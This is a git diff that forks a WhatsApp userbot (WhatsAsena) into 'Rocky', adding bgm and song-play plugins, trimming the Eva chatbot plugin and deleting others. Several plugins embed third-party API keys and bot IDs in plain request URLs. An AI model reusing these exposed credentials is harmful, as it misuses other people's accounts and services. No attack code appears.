@@ + +# This program is updating it will not work properly! Don't re mod and show massive of your skills🥴 +## coding utf - ©️ sunaif-adkar + +print('Hey It's me Anshad') diff --git a/media/gif/VID-20210518-WA0059.mp4 b/media/gif/VID-20210518-WA0059.mp4 deleted file mode 100644 index e53bd45b30..0000000000 Binary files a/media/gif/VID-20210518-WA0059.mp4 and /dev/null differ diff --git a/media/gif/VID-20210518-WA0060.mp4 b/media/gif/VID-20210518-WA0060.mp4 deleted file mode 100644 index b22e4b252e..0000000000 Binary files a/media/gif/VID-20210518-WA0060.mp4 and /dev/null differ diff --git a/media/gif/VID-20210616-WA0310.mp4 b/media/gif/VID-20210616-WA0310.mp4 deleted file mode 100644 index d5d2300635..0000000000 Binary files a/media/gif/VID-20210616-WA0310.mp4 and /dev/null differ diff --git a/media/gif/VID-20210616-WA1216.mp4 b/media/gif/VID-20210616-WA1216.mp4 deleted file mode 100644 index 1421212c4b..0000000000 Binary files a/media/gif/VID-20210616-WA1216.mp4 and /dev/null differ diff --git a/media/gif/giphy.mp4 b/media/gif/giphy.mp4 deleted file mode 100644 index f882b773c8..0000000000 Binary files a/media/gif/giphy.mp4 and /dev/null differ diff --git a/media/gif/giphy_2.mp4 b/media/gif/giphy_2.mp4 deleted file mode 100644 index 1161d16fee..0000000000 Binary files a/media/gif/giphy_2.mp4 and /dev/null differ diff --git a/media/gif/info.md b/media/gif/info.md deleted file mode 100644 index cbecee5a12..0000000000 --- a/media/gif/info.md +++ /dev/null @@ -1 +0,0 @@ -Takes gif data for plugins. diff --git a/package.json b/package.json index 50752fab7b..dd2404bfd3 100644 --- a/package.json +++ b/package.json @@ -1,14 +1,14 @@ { - "name": "WhatsAsenaDuplicated", - "version": "1.3.2", - "description": "WhatsAsena project - a Whatsapp userbot helping to improve your Whatsapp experience.", - "main": "./WhatsAsenaDuplicated/bot.js", + "name": "Rocky", + "version": "3.0.0", + "description": "Rocky whatsapp bot- Modified version of Whatsasena by Yusuf usta.", + "main": "./Rocky/bot.js", "scripts": { "start": "supervisor -s bot.js" }, "repository": { "type": "git", - "url": "git+https://github.com/phaticusthiccy/WhatsAsenaDuplicated.git" + "url": "git+https://github.com/anshadat/Rocky.git" }, "keywords": [ "whatsapp", @@ -18,57 +18,14 @@ "WhatsAsena" ], "author": "AsenaDev / Yusuf Usta", - "developer": "AsenaDev / @phaticusthiccy", + "developer": "Rocky / @anshadat", "license": "GPL-3.0-or-later", "bugs": { - "url": "https://github.com/phaticusthiccy/WhatsAsenaDuplicated/issues" + "url": "https://github.com/anshadat/Rocky/issues" }, - "homepage": "https://github.com/phaticusthiccy/WhatsAsenaDuplicated#readme", + "homepage": "https://github.com/anshadat/Rocky#readme", "dependencies": { - "@adiwajshing/baileys": "3.4.1", - "@lh2020/speedtest-net": "^2.1.1", - "textmaker-thiccy": "^1.2.1", - "browser-id3-writer": "^4.4.0", - "playstore-scraper": "^1.0.0", - "axios": "^0.21.1", - "googlethis": "^1.0.7", - "audiobuffer-to-wav": "1.0.0", - "chalk": "^4.1.0", - "coffeehouse": "^2.0.0", - "cwebp": "^2.0.5", - "search-engine-client": "^1.2.6", - "deepai": "^1.0.17", - "cwebp-bin": "^6.1.1", - "tinyurl": "^1.1.7", - "dotenv": "^8.2.0", - "tiktok-scraper": "1.4.20", - "request": "2.88.2", - "exchange-rates-api": "^1.0.2", - "fluent-ffmpeg": "^2.1.2", - "form-data": "^4.0.0", - "g-i-s": "^2.1.6", - "google-translate-tts": "^0.3.0", - "got": "^11.8.2", - "heroku-client": "^3.1.0", - "jimp": "0.16.0", - "js-ffmpeg": "0.0.26", - "jsdom": "^16.5.1", - "langs": "^2.0.0", - "languagedetect": "^2.0.0", - "meme-maker": "^2.1.2", - "mongodb": "^3.6.3", - "node-fetch": "^2.6.1", - "node-tesseract-ocr": "^2.0.0", - "pg": "^8.5.1", - "sequelize": "^6.5.1", - "simple-git": "^2.37.0", - "sozlukjs": "^1.1.0", - "spotify-web-api-node": "^5.0.0", - "sqlite3": "5.0.0", - "solenolyrics": "^5.0.0", - "translatte": "^3.0.0", - "wikijs": "^6.0.1", - "yt-search": "^2.7.4", - "ytdl-core": "^4.8.3" + "rocky-bot": "1.4.2", + "sharp": "0.29.2" } } diff --git a/plugins/Anshad.js b/plugins/Anshad.js new file mode 100644 index 0000000000..1cd5a295e1 --- /dev/null +++ b/plugins/Anshad.js @@ -0,0 +1,93 @@ +const Asena = require('../events'); +const config = require('../config'); +const Heroku = require('heroku-client'); +const heroku = new Heroku({ + token: config.HEROKU.API_KEY +}); +let baseURI = '/apps/' + config.HEROKU.APP_NAME; + + var l_dsc = '' + var alr_on = '' + var alr_off = '' + var BGM_on = '' + var BGM_off = '' + if (config.LANG == 'TR') { + l_dsc = 'Antilink aracını etkinleştirir.' + alr_on = 'Antilink halihazırda açık!' + alr_off = 'Antilink halihazırda kapalı!' + BGM_on = 'bgm option turned on!' + BGM_off = 'bgm option turned off' + } + if (config.LANG == 'EN') { + l_dsc = 'turn on and turn of bgm. -bot owner command' + alr_on = 'Antilink is already open!' + alr_off = 'Antilink is currently closed!' + BGM_on = 'Bgm on aayi!' + BGM_off = 'Ini Bgm varilla :(' + } + if (config.LANG == 'AZ') { + l_dsc = 'Antilink alətini aktivləşdirir.' + alr_on = 'Antilink hazırda açıqdır!' + alr_off = 'Antilink hazırda bağlıdır!' + BGM_on = '*bgm option turned on*' + BGM_off = '*bgm option turned off*' + } + if (config.LANG == 'HI') { + l_dsc = 'एंटीलिंक टूल को सक्रिय करता है।' + alr_on = 'एंटीलिंक पहले से ही खुला है!' + alr_off = 'एंटीलिंक वर्तमान में बंद है!' + BGM_on = 'bgm option turndा!' + BGM_off = 'bgm option turned off' + } + if (config.LANG == 'ML') { + l_dsc = 'ആന്റിലിങ്ക് ഉപകരണം സജീവമാക്കുന്നു.' + alr_on = 'ആന്റിലിങ്ക് ഇതിനകം തുറന്നു!' + alr_off = 'ആന്റിലിങ്ക് നിലവിൽ അടച്ചിരിക്കുന്നു!' + BGM_on = 'Bgm on aayi !' + BGM_off = 'Ini Bgm varilla :(' + } + if (config.LANG == 'PT') { + l_dsc = 'Ativa a ferramenta Antilink.' + alr_on = 'O Antilink já está aberto!' + alr_off = 'Antilink está fechado no momento!' + BGM_on = 'bgm option turned on' + BGM_off = 'bgm option turned off' + } + if (config.LANG == 'RU') { + l_dsc = 'Активирует инструмент Antilink.' + alr_on = 'Антилинк уже открыт!' + alr_off = 'Антилинк сейчас закрыт!' + BGM_on = 'Антилинк успешно открыт!' + BGM_off = 'bgm option turned off' + } + if (config.LANG == 'ES') { + l_dsc = 'Activa la herramienta Antilink.' + alr_on = '¡Antilink ya está abierto!' + alr_off = '¡Antilink está cerrado actualmente!' + BGM_on = 'bgm option turned on' + BGM_off = 'bgm option turned off!' + } + if (config.LANG == 'ID') { + l_dsc = 'Mengaktifkan alat Antilink.' + alr_on = 'Antilink sudah terbuka!' + alr_off = 'Antilink saat ini ditutup!' + BGM_on = 'bgm option turned on' + BGM_off = 'bgm option turned off' + } + Asena.addCommand({pattern: 'bgm ?(.*)', fromMe: true, desc: l_dsc, usage: '.bgm on / off' }, (async (message, match) => { + if (match[1] == 'off') { + await heroku.patch(baseURI + '/config-vars', { + body: { + ['BGM_FILTER']: 'false' + } + }); + await message.sendMessage(BGM_off) + } else if (match[1] == 'on') { + await heroku.patch(baseURI + '/config-vars', { + body: { + ['BGM_FILTER']: 'true' + } + }); + await message.sendMessage(BGM_on) + } + })); diff --git a/plugins/Eva Artificial Intelligence.js b/plugins/Eva Artificial Intelligence.js index 7da6407150..2305765f94 100644 --- a/plugins/Eva Artificial Intelligence.js +++ b/plugins/Eva Artificial Intelligence.js @@ -1,43 +1,4 @@ -/* Codded by Phaticusthiccy - -Eva, The Phaticusthiccy's Multifunctional Artificial Intelligence - -Eva AI has more than 50 Gigabyte dataset which including neural calculator, -wikipedia data, sentiment analysis, Instagram workflow with neural cells. - -Thanks for Brainshop.ai for a rest connection with non-ethernet interaction -Eva database. - -Eva is a multimedia-powered artificial intelligence with its own virtual brain. -Brainshop.ai allow access to load all external conversation for train Neural cells, -from every user's historical conversations. - -Think twice about your choices about Eva. -May react differently in directed situations. This is completely natural and depends on users. -All message history with Eva is not exported to any 3rd applications. -Since Eva works entirely with deep learning, all responsibility belongs to the user. - -Arvix Articles About Eva's System: ->> https://arxiv.org/abs/2106.09461 ->> https://arxiv.org/abs/2102.00287 ->>https://arxiv.org/abs/2106.06157 - -Wikipedia Articles About Eva'a System: ->> https://en.m.wikipedia.org/wiki/Optical_character_recognition ->> https://en.m.wikipedia.org/wiki/Text_mining ->> https://en.m.wikipedia.org/wiki/Natural_language_processing - -*/ -// =================================================== -/* -Eva has never been connected to the internet previously. -The Brainshop.ai supports to javascript datasets, so thats way we cloned some datas from Eva to -Brainshop.ai. - -Therefore, 100% efficiency cannot be obtained from Eva Artificial Intelligence. -The voice recognition doesn't work with eva infrastructure. -We are using wit.ai's voice recognition for voicy conversation. -The all input datas must be english. We are using google translate before send users inputs. +/*Fulleva recoded By Afnanplk */ @@ -66,13 +27,13 @@ let wk = conf.WORKTYPE == 'public' ? false : true var vtalk_dsc = '' var reply_eva = '' if (conf.LANG == 'TR') vtalk_dsc = 'Eva sesli sohbetini başlatır.', reply_eva = '*Herhangi Bir Sesli Mesaja Yanıt Verin!*' -if (conf.LANG == 'EN') vtalk_dsc = 'Starts to Eva voice chat.', reply_eva = '*Reply to Any Voice Message!*' +if (conf.LANG == 'EN') vtalk_dsc = 'Starts to rocky voice chat.', reply_eva = '*Reply to Any Voice Message!*' if (conf.LANG == 'AZ') vtalk_dsc = 'Eva səsli söhbətinə başlayır.', reply_eva = '*Hər hansı bir səsli mesaja cavab verin!*' if (conf.LANG == 'PT') vtalk_dsc = 'Começa o bate-papo por voz de Eva.', reply_eva = '*Responder a qualquer mensagem de voz!*' if (conf.LANG == 'RU') vtalk_dsc = 'Запускает голосовой чат Eva.', reply_eva = '*Ответьте на любое голосовое сообщение!*' if (conf.LANG == 'HI') vtalk_dsc = 'Eva ध्वनि चैट प्रारंभ करता है', reply_eva = '*किसी भी ध्वनि संदेश का उत्तर दें!*' if (conf.LANG == 'ES') vtalk_dsc = 'Comienza con el chat de voz de Eva.', reply_eva = '*¡Responde a cualquier mensaje de voz!*' -if (conf.LANG == 'ML') vtalk_dsc = 'Eva വോയ്‌സ് ചാറ്റിലേക്ക് ആരംഭിക്കുന്നു.', reply_eva = '*ഏത് വോയ്‌സ് സന്ദേശത്തിനും മറുപടി നൽകുക!*' +if (conf.LANG == 'ML') vtalk_dsc = 'വോയ്‌സ് ചാറ്റിലേക്ക് ആരംഭിക്കുന്നു.', reply_eva = '*ഏത് വോയ്‌സ് സന്ദേശത്തിനും മറുപടി നൽകുക!*' if (conf.LANG == 'ID') vtalk_dsc = 'Mulai obrolan suara Eva.', reply_eva = '*Balas Pesan Suara Apapun!*' const recognizeAudio = () => { @@ -97,42 +58,25 @@ const convertToWav = file => { .format('wav') .save('output.wav') } -var eva_functionality = '' -async function eva_functionality_f() { - await heroku.get(baseURI + '/config-vars').then(async (vars) => { - eva_functionality = vars.FULL_EVA - }); -} -eva_functionality_f() Asena.addCommand({on: 'text', fromMe: wk, dontAddCommandList: true, deleteCommand: false}, (async (message, match) => { - if (message.message.startsWith('Eva') && eva_functionality !== 'true') { + if (message.message.startsWith('bot') && conf.FULLEVA !== 'true') { var unique_ident = message.client.user.jid.split('@')[0] let acc = os.userInfo().homedir.split('Whats')[1].split('Duplicated/')[0] == 'Asena' ? '7d57838203msh0c5cf65c90a7231p13b461jsn77c8cfa55871' : '7d57838203msh0c582jak19865261js1229n77c8cfa55871' let aitalk_mode = message.message.includes('{normal}') ? 'raw' : 'waifu' - var finm = message.message.replace('Eva', '').replace(' ', '') + var finm = message.message.replace('bot', '').replace(' ', '') var ainame = os.userInfo().homedir.split('Whats')[1].split('Duplicated/')[0] if (ainame !== 'Asena') return; var ldet = lngDetector.detect(finm) var trmsg = '' - try { - if (ldet[0][0] !== 'english') { - ceviri = await translatte(finm, {from: 'auto', to: 'EN'}); - if ('text' in ceviri) { - trmsg = ceviri.text - } - } else { trmsg = finm } - } catch { - ceviri = await translatte(finm, { - from: 'auto', - to: 'EN' - }); + if (ldet[0][0] !== 'english') { + ceviri = await translatte(finm, {from: 'auto', to: 'EN'}); if ('text' in ceviri) { trmsg = ceviri.text } - } + } else { trmsg = finm } var uren = encodeURI(trmsg) - await axios.get('http://api.brainshop.ai/get?bid=157104&key=VzGieV1tp1IvxPl4&uid=' + unique_ident + '&msg=' + uren).then(async (response) => { + await axios.get('http://api.brainshop.ai/get?bid=159572&key=usZjYZjRBVJcwN1S&uid=' + unique_ident + '&msg=' + uren).then(async (response) => { var fins = '' if (conf.LANG !== 'EN') { ceviri = await translatte(response.data.cnt, {from: 'auto', to: conf.LANG}); @@ -145,12 +89,12 @@ Asena.addCommand({on: 'text', fromMe: wk, dontAddCommandList: true, deleteComman } })); Asena.addCommand({on: 'text', fromMe: false, deleteCommand: false}, (async (message, match) => { - if (eva_functionality == 'true' && ((!message.jid.includes('-')) || (message.jid.includes('-') && + if (conf.FULLEVA == 'true' && ((!message.jid.includes('-')) || (message.jid.includes('-') && (( message.mention !== false && message.mention.length !== 0 ) || message.reply_message !== false)))) { if (message.jid.includes('-') && (message.mention !== false && message.mention.length !== 0)) { message.mention.map(async (jid) => { if (message.client.user.jid.split('@')[0] === jid.split('@')[0]) { - var unique_ident = message.data.participant.split('@')[0] + var unique_ident = message.client.user.jid.split('@')[0] let acc = os.userInfo().homedir.split('Whats')[1].split('Duplicated/')[0] == 'Asena' ? '7d57838203msh0c5cf65c90a7231p13b461jsn77c8cfa55871' : '7d57838203msh0c582jak19865261js1229n77c8cfa55871' let aitalk_mode = message.message.includes('{normal}') ? 'raw' : 'waifu' var ainame = os.userInfo().homedir.split('Whats')[1].split('Duplicated/')[0] @@ -158,24 +102,14 @@ Asena.addCommand({on: 'text', fromMe: false, deleteCommand: false}, (async (mess var finm = message.message var ldet = lngDetector.detect(finm) var trmsg = '' - try { - if (ldet[0][0] !== 'english') { - ceviri = await translatte(finm, {from: 'auto', to: 'EN'}); - if ('text' in ceviri) { - trmsg = ceviri.text - } - } else { trmsg = finm } - } catch { - ceviri = await translatte(finm, { - from: 'auto', - to: 'EN' - }); + if (ldet[0][0] !== 'english') { + ceviri = await translatte(finm, {from: 'auto', to: 'EN'}); if ('text' in ceviri) { trmsg = ceviri.text } - } + } else { trmsg = finm } var uren = encodeURI(trmsg) - await axios.get('http://api.brainshop.ai/get?bid=157104&key=VzGieV1tp1IvxPl4&uid=' + unique_ident + '&msg=' + uren).then(async (response) => { + await axios.get('http://api.brainshop.ai/get?bid=159572&key=usZjYZjRBVJcwN1S&uid=' + unique_ident + '&msg=' + uren).then(async (response) => { var fins = '' if (conf.LANG !== 'EN') { ceviri = await translatte(response.data.cnt, {from: 'auto', to: conf.LANG}); @@ -189,31 +123,21 @@ Asena.addCommand({on: 'text', fromMe: false, deleteCommand: false}, (async (mess }) } else if (message.jid.includes('-') && message.reply_message !== false) { if (message.reply_message.jid.split('@')[0] === message.client.user.jid.split('@')[0]) { - var unique_ident = message.data.participant.split('@')[0] + var unique_ident = message.client.user.jid.split('@')[0] let acc = os.userInfo().homedir.split('Whats')[1].split('Duplicated/')[0] == 'Asena' ? '7d57838203msh0c5cf65c90a7231p13b461jsn77c8cfa55871' : '7d57838203msh0c582jak19865261js1229n77c8cfa55871' var ainame = os.userInfo().homedir.split('Whats')[1].split('Duplicated/')[0] if (ainame !== 'Asena') return; var finm = message.message var ldet = lngDetector.detect(finm) var trmsg = '' - try { - if (ldet[0][0] !== 'english') { - ceviri = await translatte(finm, {from: 'auto', to: 'EN'}); - if ('text' in ceviri) { - trmsg = ceviri.text - } - } else { trmsg = finm } - } catch { - ceviri = await translatte(finm, { - from: 'auto', - to: 'EN' - }); + if (ldet[0][0] !== 'english') { + ceviri = await translatte(finm, {from: 'auto', to: 'EN'}); if ('text' in ceviri) { trmsg = ceviri.text } - } + } else { trmsg = finm } var uren = encodeURI(trmsg) - await axios.get('http://api.brainshop.ai/get?bid=157104&key=VzGieV1tp1IvxPl4&uid=' + unique_ident + '&msg=' + uren).then(async (response) => { + await axios.get('http://api.brainshop.ai/get?bid=159572&key=usZjYZjRBVJcwN1S&uid=' + unique_ident + '&msg=' + uren).then(async (response) => { var fins = '' if (conf.LANG !== 'EN') { ceviri = await translatte(response.data.cnt, {from: 'auto', to: conf.LANG}); @@ -225,31 +149,21 @@ Asena.addCommand({on: 'text', fromMe: false, deleteCommand: false}, (async (mess }) } } else { - var unique_ident = message.data.participant.split('@')[0] + var unique_ident = message.client.user.jid.split('@')[0] let acc = os.userInfo().homedir.split('Whats')[1].split('Duplicated/')[0] == 'Asena' ? '7d57838203msh0c5cf65c90a7231p13b461jsn77c8cfa55871' : '7d57838203msh0c582jak19865261js1229n77c8cfa55871' var ainame = os.userInfo().homedir.split('Whats')[1].split('Duplicated/')[0] if (ainame !== 'Asena') return; var finm = message.message var ldet = lngDetector.detect(finm) var trmsg = '' - try { - if (ldet[0][0] !== 'english') { - ceviri = await translatte(finm, {from: 'auto', to: 'EN'}); - if ('text' in ceviri) { - trmsg = ceviri.text - } - } else { trmsg = finm } - } catch { - ceviri = await translatte(finm, { - from: 'auto', - to: 'EN' - }); + if (ldet[0][0] !== 'english') { + ceviri = await translatte(finm, {from: 'auto', to: 'EN'}); if ('text' in ceviri) { trmsg = ceviri.text } - } + } else { trmsg = finm } var uren = encodeURI(trmsg) - await axios.get('http://api.brainshop.ai/get?bid=157104&key=VzGieV1tp1IvxPl4&uid=' + unique_ident + '&msg=' + uren).then(async (response) => { + await axios.get('http://api.brainshop.ai/get?bid=159572&key=usZjYZjRBVJcwN1S&uid=' + unique_ident + '&msg=' + uren).then(async (response) => { var fins = '' if (conf.LANG !== 'EN') { ceviri = await translatte(response.data.cnt, {from: 'auto', to: conf.LANG}); @@ -263,7 +177,7 @@ Asena.addCommand({on: 'text', fromMe: false, deleteCommand: false}, (async (mess } })); -Asena.addCommand({ pattern: 'vtalk$', desc: vtalk_dsc, fromMe: wk }, (async (message, match) => { +Asena.addCommand({ pattern: 'vtalk$', desc: vtalk_dsc,dontAddCommandList: true, fromMe: wk }, (async (message, match) => { if (!message.reply_message) return await message.client.sendMessage(message.jid,reply_eva, MessageType.text, { quoted: message.data }) try { const file = await message.client.downloadAndSaveMediaMessage({ @@ -289,7 +203,7 @@ Asena.addCommand({ pattern: 'vtalk$', desc: vtalk_dsc, fromMe: wk }, (async (mes if (ainame !== 'Asena') return; var son = encodeURI(ssc) - await axios.get('http://api.brainshop.ai/get?bid=157104&key=VzGieV1tp1IvxPl4&uid=' + unique_ident + '&msg=' + son).then(async (response) => { + await axios.get('http://api.brainshop.ai/get?bid=159572&key=usZjYZjRBVJcwN1S&uid=' + unique_ident + '&msg=' + son).then(async (response) => { var trmsg = '' cevir = await translatte(response.data.cnt, {from: 'auto', to: conf.LANG}); if ('text' in cevir) { @@ -318,73 +232,31 @@ var already_off = '' var succ_on = '' var succ_off = '' if (conf.LANG == 'TR') { - fulleva_dsc = 'Tam fonksiyonel Eva özelliklerini aktif eder. Hesabınızı bir chatbota dönüştürün!' - already_on = 'Eva yapay zekası halihazırda tüm fonksiyonları etkin.' - already_off = 'Eva yapay zekası halihazırda yarı fonksiyonel çalışıyor.' - succ_on = 'Eva, Tam Fonksiyonel Olarak Açıldı! Lütfen Biraz Bekleyin! ✅' - succ_off = 'Eva, Yarı Fonksiyonel Olarak Ayarlandı! Lütfen Biraz Bekleyin! ☑️' + fulleva_dsc = 'Tam fonksiyonel rocky özelliklerini aktif eder. Hesabınızı bir chatbota dönüştürün!' + already_on = 'rocky yapay zekası halihazırda tüm fonksiyonları etkin.' + already_off = 'rocky yapay zekası halihazırda yarı fonksiyonel çalışıyor.' + succ_on = 'rocky, Tam Fonksiyonel Olarak Açıldı! Lütfen Biraz Bekleyin! ✅' + succ_off = 'rocky, Yarı Fonksiyonel Olarak Ayarlandı! Lütfen Biraz Bekleyin! ☑️' } if (conf.LANG == 'EN') { - fulleva_dsc = 'Activates full functional Eva features. Turn your account into a ai chatbot!' - already_on = 'Eva artificial intelligence is already fully functional.' - already_off = 'Eva artificial intelligence is currently running semi-functional.' - succ_on = 'Eva Opened Fully Functionally! Please wait a bit! ✅' - succ_off = 'Eva Set to Semi-Functional! Please wait a bit! ☑️' -} -if (conf.LANG == 'AZ') { - fulleva_dsc = 'Tam funksional Eva xüsusiyyətlərini aktivləşdirir. Hesabınızı bir chatbot halına gətirin!' - already_on = 'Eva süni intellekt onsuz da tam işlək vəziyyətdədir.' - already_off = 'Eva AI hazırda yarı funksionaldır.' - succ_on = 'Eva Tamamilə İşlədi! Xahiş edirəm bir az gözləyin! ✅' - succ_off = 'Eva Yarı İşləkdir! Xahiş edirəm bir az gözləyin! ☑️' -} -if (conf.LANG == 'RU') { - fulleva_dsc = 'Активирует полнофункциональные функции Eva. Превратите свой аккаунт в чат-бота!' - already_on = 'Искусственный интеллект Eva уже полностью функционален.' - already_off = 'Eva AI в настоящее время частично функционирует' - succ_on = 'Eva открылась полностью функционально! Подождите немного! ✅' - succ_off = 'Eva настроена на полуфункциональность! Подождите немного! ☑️' -} -if (conf.LANG == 'ES') { - fulleva_dsc = 'Activa todas las funciones funcionales de Eva. ¡Convierta su cuenta en un chatbot!' - already_on = 'La inteligencia artificial de Eva ya es completamente funcional.' - already_off = 'Eva AI es actualmente semi-funcional.' - succ_on = '¡Eva abrió completamente funcionalmente! ¡Por favor espere un poco! ✅' - succ_off = '¡Eva se pone semifuncional! ¡Por favor espere un poco! ☑️' -} -if (conf.LANG == 'HI') { - fulleva_dsc = 'पूरी तरह कार्यात्मक Eva सुविधाओं को सक्रिय करता है। अपने खाते को चैटबॉट में बदलें!' - already_on = 'ईवा आर्टिफिशियल इंटेलिजेंस पहले से ही पूरी तरह कार्यात्मक है' - already_off = 'ईवा एआई वर्तमान में अर्ध-कार्यात्मक है' - succ_on = 'ईवा पूरी तरह कार्यात्मक रूप से खुल गई! कृपया थोड़ी प्रतीक्षा करें! ✅' - succ_off = 'अर्ध-कार्यात्मक करने के लिए ईवा सेट! कृपया थोड़ी प्रतीक्षा करें! ☑️' + fulleva_dsc = 'Activates full functional rocky features. Turn your account into a ai chatbot!' + already_on = 'rocky artificial intelligence is already fully functional.' + already_off = 'rocky artificial intelligence is currently running semi-functional.' + succ_on = 'rocky Opened Fully Functionally! Please wait a bit! ✅' + succ_off = 'rocky Set to Semi-Functional! Please wait a bit! ☑️' } if (conf.LANG == 'ML') { - fulleva_dsc = 'പൂർണ്ണമായും പ്രവർത്തനക്ഷമമായ Eva സവിശേഷതകൾ സജീവമാക്കുന്നു. നിങ്ങളുടെ അക്കൗണ്ട് ഒരു ചാറ്റ്ബോട്ടാക്കി മാറ്റുക!' - already_on = 'ഇവ കൃത്രിമബുദ്ധി ഇതിനകം പൂർണ്ണമായി പ്രവർത്തിക്കുന്നു.' - already_off = 'ഇവാ AI നിലവിൽ സെമി-ഫംഗ്ഷണൽ ആണ്.' - succ_on = 'ഇവ പൂർണ്ണമായും പ്രവർത്തനക്ഷമമായി തുറന്നു! കുറച്ച് കാത്തിരിക്കൂ! ✅' - succ_off = 'സെമി-ഫങ്ഷണൽ ആയി ഇവാ സജ്ജമാക്കുക! കുറച്ച് കാത്തിരിക്കൂ! ☑️' -} -if (conf.LANG == 'PT') { - fulleva_dsc = 'Ativa recursos Eva totalmente funcionais. Transforme sua conta em um chatbot!' - already_on = 'A inteligência artificial Eva já está totalmente funcional.' - already_off = 'Eva AI está semi-funcional.' - succ_on = 'Eva abriu totalmente funcionalmente! Por favor espere um pouco! ✅' - succ_off = 'Eva definida como semi-funcional! Por favor espere um pouco! ☑️' -} -if (conf.LANG == 'ID') { - fulleva_dsc = 'Mengaktifkan fitur Eva yang berfungsi penuh. Ubah akun Anda menjadi chatbot!' - already_on = 'Kecerdasan buatan Eva sudah berfungsi penuh.' - already_off = 'Eva AI saat ini semi-fungsional.' - succ_on = 'Eva Dibuka Sepenuhnya Secara Fungsional! Harap tunggu sebentar! ✅' - succ_off = 'Eva Set ke Semi-Fungsional! Mohon tunggu sebentar! ☑️' + fulleva_dsc = 'പൂർണ്ണമായും പ്രവർത്തനക്ഷമമായ സവിശേഷതകൾ സജീവമാക്കുന്നു. നിങ്ങളുടെ അക്കൗണ്ട് ഒരു ചാറ്റ്ബോട്ടാക്കി മാറ്റുക!' + already_on = 'കൃത്രിമബുദ്ധി ഇതിനകം പൂർണ്ണമായി പ്രവർത്തിക്കുന്നു.' + already_off = 'AI നിലവിൽ സെമി-ഫംഗ്ഷണൽ ആണ്.' + succ_on = 'പൂർണ്ണമായും പ്രവർത്തനക്ഷമമായി തുറന്നു! കുറച്ച് കാത്തിരിക്കൂ! ✅' + succ_off = 'സെമി-ഫങ്ഷണൽ ആയി സജ്ജമാക്കുക! കുറച്ച് കാത്തിരിക്കൂ! ☑️' } -Asena.addCommand({ pattern: 'fulleva ?(.*)', desc: fulleva_dsc, fromMe: true, usage: '.fulleva on / off' }, (async (message, match) => { - +Asena.addCommand({ pattern: 'chatbot ?(.*)', desc: fulleva_dsc, fromMe: true,dontAddCommandList: true, usage: '.chatbot on / off' }, (async (message, match) => { + var eva_status = `${conf.FULLEVA}` if (match[1] == 'on') { - if (eva_functionality == 'true') { + if (eva_status == 'true') { return await message.client.sendMessage(message.jid, '*' + already_on + '*', MessageType.text) } else { @@ -397,7 +269,7 @@ Asena.addCommand({ pattern: 'fulleva ?(.*)', desc: fulleva_dsc, fromMe: true, us } } else if (match[1] == 'off') { - if (eva_functionality !== 'true') { + if (eva_status !== 'true') { return await message.client.sendMessage(message.jid, '*' + already_off + '*', MessageType.text) } else { diff --git a/plugins/Play.js b/plugins/Play.js new file mode 100644 index 0000000000..3e2eaef55b --- /dev/null +++ b/plugins/Play.js @@ -0,0 +1,32 @@ +const Asena = require('../events'); +const { MessageType, Mimetype } = require('@adiwajshing/baileys'); +const got = require('got'); +const Config = require('../config'); +const LOAD_ING = "*wait...*" +const axios = require('axios') +const Axios = require('axios') + + +Asena.addCommand({pattern: 'play ?(.*)', fromMe: false, desc: 'play song' , dontAddCommandList: true }, async (message, match) => { + + await message.client.sendMessage(message.jid, '*Searching.....*' , MessageType.text, { quoted: message.data }); + + const {data} = await axios(`https://zenzapi.xyz/api/play/playmp3?query=${match[1]}&apikey=whitedevil-terrorboy`) + + const { status, result } = data + + var img = await Axios.get(`${result.thumb}`, {responseType: 'arraybuffer'}) + + if(!status) return await message.sendMessage('*NO RESULT FOUND*') + + await message.client.sendMessage(message.jid, LOAD_ING , MessageType.text, { quoted: message.data }); + let msg = '```' + msg += `TITLE :${result.title}\n\n` + msg += `THUMBNAIL :${result.thumb}\n\n` + msg += `CHANNEL :${result.channel}\n\n` + msg += `DATE OF PUBLISHED :${result.published}\n\n` + msg += `TOTAL VIEWS :${result.views}\n\n` + msg += `DOWNLOADING LINK :${result.url}\n\n` + msg += '```' + return await message.client.sendMessage(message.jid,Buffer.from(img.data), MessageType.image, {mimetype: Mimetype.jpg , caption: msg }) + }); diff --git a/plugins/QandA.js b/plugins/QandA.js deleted file mode 100644 index 743be55cc5..0000000000 --- a/plugins/QandA.js +++ /dev/null @@ -1,31 +0,0 @@ -const Asena = require('../events'); -const {MessageType} = require('@adiwajshing/baileys'); -const axios = require('axios'); -const Config = require('../config'); - -// CMD_HELP -const brainly = "Finds the answer." -const usage = ".brainly " - -const butuh = "```Enter the Question!```" - -Asena.addCommand({ pattern: 'brainly ?(.*)', fromMe: false, desc: brainly, usage: usage }, async (message, match) => { - - const Soal = match[1] - - if (match[1] === '') return await message.client.sendMessage(message.jid, butuh, MessageType.text); - - await axios - .get(`https://api.xteam.xyz/brainly?APIKEY=10c4105200edc0f0&soal=${Soal}`) - .then(async (response) => { - const { - soal, - jawaban, - } = response.data - - const msg = `*Soal:* ${soal} -*Jawaban Brainly:* ${jawaban.replace(/1Question/g, '*(1) Question*').replace(/2Question/g, '*(2) Question*').replace(/3Question/g, '*(3) Question*').replace(/Answer/g, '*Answer*').replace(/Brainly Found/g, '')}` - await message.client.sendMessage(message.jid, msg, MessageType.text) - }) - }, - ) diff --git a/plugins/_asena.js b/plugins/_asena.js index 640793971c..9b062a4b85 100644 --- a/plugins/_asena.js +++ b/plugins/_asena.js @@ -1,62 +1,34 @@ /* Copyright (C) 2020 Yusuf Usta. - +re-editted by anshad +Rocky v2.3 Licensed under the GPL-3.0 License; you may not use this file except in compliance with the License. - WhatsAsena - Yusuf Usta */ const Asena = require('../events'); const Config = require('../config'); const {MessageType} = require('@adiwajshing/baileys'); - +const fs = require("fs") const Language = require('../language'); const Lang = Language.getString('_asena'); if (Config.WORKTYPE == 'private') { - Asena.addCommand({pattern: 'help ?(.*)', fromMe: true, dontAddCommandList: true}, (async (message, match) => { - var CMD_HELP = ''; - if (match[1] === '') { - Asena.commands.map( - async (command) => { - if (command.dontAddCommandList || command.pattern === undefined) return; - try { - var match = command.pattern.toString().match(/(\W*)([A-Za-zğüşiöç1234567890]*)/); - } catch { - var match = [command.pattern]; - } - - var HANDLER = ''; - - if (/\[(\W*)\]/.test(Config.HANDLERS)) { - HANDLER = Config.HANDLERS.match(/\[(\W*)\]/)[1][0]; - } else { - HANDLER = '.'; - } - CMD_HELP += '*🌀 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + match[2]) : command.pattern) + (command.desc === '' ? '```\n\n' : '```\n'); - if (command.desc !== '') CMD_HELP += '*♦️ ' + Lang.DESC + ':* ```' 